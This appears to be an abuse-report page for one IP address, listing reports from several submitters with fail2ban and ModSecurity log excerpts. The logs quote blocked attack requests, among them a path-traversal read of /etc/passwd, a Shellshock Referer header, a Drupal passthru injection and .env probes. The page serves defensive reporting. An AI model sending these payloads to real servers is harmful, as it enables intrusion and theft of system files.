🇸🇮
administrator
2026-10-16 22:16:17
(21 hours ago)
2026-10-15 20:39:51,163 fail2ban.actions [1182]: NOTICE [error-bots] Ban 165.22.213.203
2026 ...
show more
2026-10-15 20:39:51,163 fail2ban.actions [1182]: NOTICE [error-bots] Ban 165.22.213.203
2026-10-15 20:39:51,163 fail2ban.actions [1182]: NOTICE [error-bots] Ban 165.22.213.203
2026-10-15 20:39:51,163 fail2ban.actions [1182]: NOTICE [error-bots] Ban 165.22.213.203
...
show less
Bad Web Bot
Web Spam
Email Spam
Blog Spam
Port Scan
Brute-Force
Web App Attack
🇺🇸
TPI-Abuse
2026-10-16 14:15:36
(1 day ago)
(mod_security) mod_security (id:211190) triggered by 165.22.213.203 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:211190) triggered by 165.22.213.203 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 16 10:15:29.188315 2026] [security2:error] [pid 13469:tid 13469] [client 165.22.213.203:43378] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||mainescentsecrets.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "mainescentsecrets.com"] [uri "/index.php"] [unique_id "atIxgRenOTdy6IW9_Q4EfwAAAA8"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
TPI-Abuse
2026-10-16 13:59:12
(1 day ago)
(mod_security) mod_security (id:211190) triggered by 165.22.213.203 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:211190) triggered by 165.22.213.203 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 16 09:59:06.651866 2026] [security2:error] [pid 20611:tid 20611] [client 165.22.213.203:49820] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.affordablecontractingwvreviews.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.affordablecontractingwvreviews.com"] [uri "/index.php"] [unique_id "atItqkaOHnWfA0Ugw2BWbwAAAAk"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇺🇸
francelink.fr
2026-10-16 12:56:10
(1 day ago)
Azure WAF blocked a request. Rule: 100100. Observed at: 2026-10-16T12:51:05.000Z.
Web App Attack
🇩🇪
Hary74656
2026-10-16 11:32:29
(1 day ago)
Fail2Ban on postler.hostmi.at: jail=apache-modsecurity, failures=5.
[earlier text truncated]
aly-eva ...
show more
Fail2Ban on postler.hostmi.at: jail=apache-modsecurity, failures=5.
[earlier text truncated]
aly-evaluation"] [tag "OWASP_CRS"] [hostname "78.46.107.136"] [uri "/cgi-bin/status"] [unique_id "atILTBpD6DVZ82_uPzXMZQAAAE0"], referer () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
[Fri Oct 16 13:32:28.953446 2026] [vhost postler.hostmi.at] [security2:error] [pid 385453:tid 139790213134016] [client 165.22.213.203:50992] [realclient 165.22.213.203:50992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/opt/owasp-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [ver "OWASP_CRS/4.30.0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "78.46.107.136"] [uri "/cgi-bin/status/status.cgi"] [unique_id "atILTBpD6DVZ82_uPzXMZgAAAE4"], referer () { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
show less
Web App Attack
🇲🇾
Rizzy
2026-10-16 09:51:26
(1 day ago)
Multiple WAF Violations
Brute-Force
Web App Attack
🇺🇸
TPI-Abuse
2026-10-16 05:17:35
(1 day ago)
(mod_security) mod_security (id:222550) triggered by 165.22.213.203 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:222550) triggered by 165.22.213.203 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 16 01:17:30.716158 2026] [security2:error] [pid 25632:tid 25632] [client 165.22.213.203:34352] ModSecurity: Access denied with code 403 (phase 2). Pattern match "[^\\\\w\\\\ \\\\.]" at ARGS:list[fullordering]. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/24_Apps_Joomla.conf"] [line "82"] [id "222550"] [rev "1"] [msg "COMODO WAF: SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 (CVE-2017-8917)||mail.walkerweb.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "mail.walkerweb.com"] [uri "/index.php"] [unique_id "atGzauKoGajKpNr3F2ua4QAAAAI"]
show less
Brute-Force
Bad Web Bot
Web App Attack
2026-10-16 01:08:03
(1 day ago)
Bot / scanning and/or hacking attempts: GET /.env HTTP/1.1
Hacking
Web App Attack
🇳🇱
Alt255
2026-10-16 00:55:57
(1 day ago)
[ti-27al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Exam ...
show more
[ti-27al] Web exploit scanning: 1 suspicious requests detected by fail2ban jail apache-scanner. Example: 165.22.213.203 - - [16/Oct/2026:02:55:35 +0200] "GET /.env HTTP/1.1" 403 7860 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
...
show less
Bad Web Bot
Web App Attack
🇹🇭
MWA SOC
2026-10-16 00:42:07
(1 day ago)
Hacking
🇺🇸
kosada.com
2026-10-15 23:38:07
(1 day ago)
Repeated exploit attempts, for example: /user/register?element_parents=account/mail/%23value&ajax_fo ...
show more
Repeated exploit attempts, for example: /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax mail%5b%23post%5frender%5d%5b%5d=passthru&mail%5b%23type%5d=markup&mail%5b%23markup%5d=cat+%2fetc%2fpasswd&form%5fid=user%5fregister%5fform&%5fdrupal%5fajax=1 (HTTP/1.1 port 443, user agent: "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36")
show less
Web App Attack
🇳🇱
homeshowdomain.nl
2026-10-15 22:01:10
(1 day ago)
Auto-ban: 406 malicious requests on 2026-10-14 (e.g., env/backup probes, brute-force, or error burst ...
show more
Auto-ban: 406 malicious requests on 2026-10-14 (e.g., env/backup probes, brute-force, or error bursts).
show less
Web App Attack
SSH
Hacking
🇩🇪
FeG Deutschland
2026-10-15 21:24:58
(1 day ago)
Looking for CMS/PHP/SQL vulnerablilities/excessive crawling - 2
Exploited Host
Web App Attack
🇺🇸
TPI-Abuse
2026-10-15 20:40:57
(1 day ago)
(mod_security) mod_security (id:211180) triggered by 165.22.213.203 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:211180) triggered by 165.22.213.203 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 15 16:40:51.042249 2026] [security2:error] [pid 9183:tid 9183] [client 165.22.213.203:40880] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "50"] [id "211180"] [rev "3"] [msg "COMODO WAF: Session Fixation: SessionID Parameter Name with No Referer||www.danzadance.org|F|2"] [data "Matched Data: session_id found within REQUEST_HEADERS: 0"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.danzadance.org"] [uri "/cgi-bin/network_config/nsg_masq.cgi"] [unique_id "atE6U0BxYs0ZZMxdRQZmvgAAAAM"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇸🇪
KIDOS
2026-10-15 18:39:20
(2 days ago)
Apache monitor: web_attack_payload
Brute-Force
SSH